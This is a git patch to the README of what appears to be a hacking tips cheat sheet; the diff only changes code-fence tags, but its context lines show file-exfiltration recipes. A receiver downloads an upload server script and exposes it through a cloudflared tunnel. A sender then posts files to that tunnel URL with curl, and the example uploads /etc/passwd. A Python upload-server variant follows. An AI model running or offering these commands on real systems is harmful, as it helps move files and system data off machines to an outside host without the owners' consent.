From 584971521713b91a4ba1d962189f7cef00fbe733 Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Fri, 23 Feb 2024 11:45:45 +0000 Subject: [PATCH] Update README.md --- README.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index 72c017f..1043465 100644 --- a/README.md +++ b/README.md @@ -1082,7 +1082,7 @@ Receiver: Access the URL from any browser to view/download the remote file syste #### 1 - Upload using PHP: On the Receiver: -``` +```posh curl -fsSL -o upload_server.php https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/upload_server.php mkdir upload (cd upload; php -S 127.0.0.1:8080 ../upload_server.php &>/dev/null &) @@ -1090,7 +1090,7 @@ cloudflared tunnel --url localhost:8080 --no-autoupdate ``` On the Sender: -``` +```posh # Set a function: up() { curl -fsSL -F "file=@${1:?}" https://ABOVE-URL-HERE.trycloudflare.com; } # upload files like so: @@ -1101,14 +1101,14 @@ up /etc/passwd #### 2 - Upload using PYTHON: On the Receiver: -``` +```posh pip install uploadserver python -m uploadserver & cloudflared tunnel -url localhost:8000 ``` On the Sender: -```sh +```posh curl -X POST https://CF-URL-CHANGE-ME.trycloudflare.com/upload -F 'files=@myfile.txt' ```